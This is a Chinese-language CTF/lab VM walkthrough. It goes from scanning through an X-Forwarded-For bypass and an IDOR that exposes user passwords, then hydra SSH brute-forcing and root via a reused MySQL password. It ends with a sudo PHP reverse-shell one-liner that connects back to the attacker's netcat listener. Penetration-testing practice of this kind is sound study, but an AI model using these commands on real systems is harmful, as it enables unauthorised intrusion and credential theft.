此靶机具有双flag
,普通用户一个,root
用户一个
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- hydra
- x-forwarded-for 本地访问
- 水平越权
- mysql 密码可能就是 root 密码
0x01 信息收集#
扫描靶机#
netdiscover
的-r
参数扫描192.168.1.0/16
结果如下:
nmap
扫描主机及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.12
可以看到只开启了ssh
和web
80 端口
扫描路径#
虽然大部分情况下不需要扫描路径,但是做工作做全套
gobuster
扫描路径:
gobuster dir -u http://192.168.1.12 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
看来是没啥了,只有robots.txt
必须每次要看一下,得到文件路径heyhoo.txt
得到了不痛不痒的提示:
Great! What you need now is reconn, attack and got the shell。
访问首页如下:
提示只能从本地访问,ctf
中的入门问题:x-forwarded-for
需要改为127.0.0.1
表示来自本地的访问
多种方法可用,抓包也行,插件更多:Header Editor
,X-Forwarded-For Header
我这里使用X-Forwarded-For Header
:
0x02 普通账户 shell#
进入首页:
尝试登录弱口令无效,那我们注册一个账号:
登录后链接变为;
http://192.168.1.12/index.php?page=dashboard&user_id=12
看到这个user_id=xxx
就想把它改为 1,用户名密码发生了改变:
通过firefox
网页源代码查看功能,发现把密码隐藏框的属性type
由password
改为其他任意的就可以查看密码:
存在水平越权,又能查看密码,那我们就把整个数据库的账户密码存下来
前面端口扫描的时候,记得除了80
还有一个22
的ssh
登录
使用hydra
和我们爆破出的账户密码来爆破ssh
服务:
hydra -L user.txt -P passwd.txt -t 4 -I ssh://192.168.1.12
- -t:4 每个目标并行连接的任务数,因为
ssh
很容易被测试崩 - -I 表示跳过烦人的等待时间
爆破成功,获得ssh
的账号密码:alice/4lic3
,登陆之
0x03 提权 root#
登录后第一步查看当前目录:ls -al
在.my_secret
目录下获得第一个flag
我们在扫描网站路径时除了robots.txt
好像还有点其他东西,于是进入网站根目录看一下:
cd /var/www/html
config
目录里是一个配置文件,内容为mysql
的链接:
尝试连接sql
数据库查看信息:
指定配置文件中给出的数据库,查看内容:
只是网站上的用户的数据库,没什么可用的
正当我觉得没用的时候,突然想到万一这不仅仅是数据库的密码呢?
退出数据库,切换root
用户:su root
, 输入数据库的密码:
进去了!WTF?
0x04 换种方法提权 root#
不行啊,这也太没技术含量了,这不就是查看目录的操作吗?
下面我们再换一种没有技术含量的方法::quyin:1huaji::
现在kali
上监听nc -lvp 3333
靶机上php
反弹shell
:
sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.2",3333);exec("/bin/sh -i <&3 >&3 2>&3");'
参考文章:
本文完。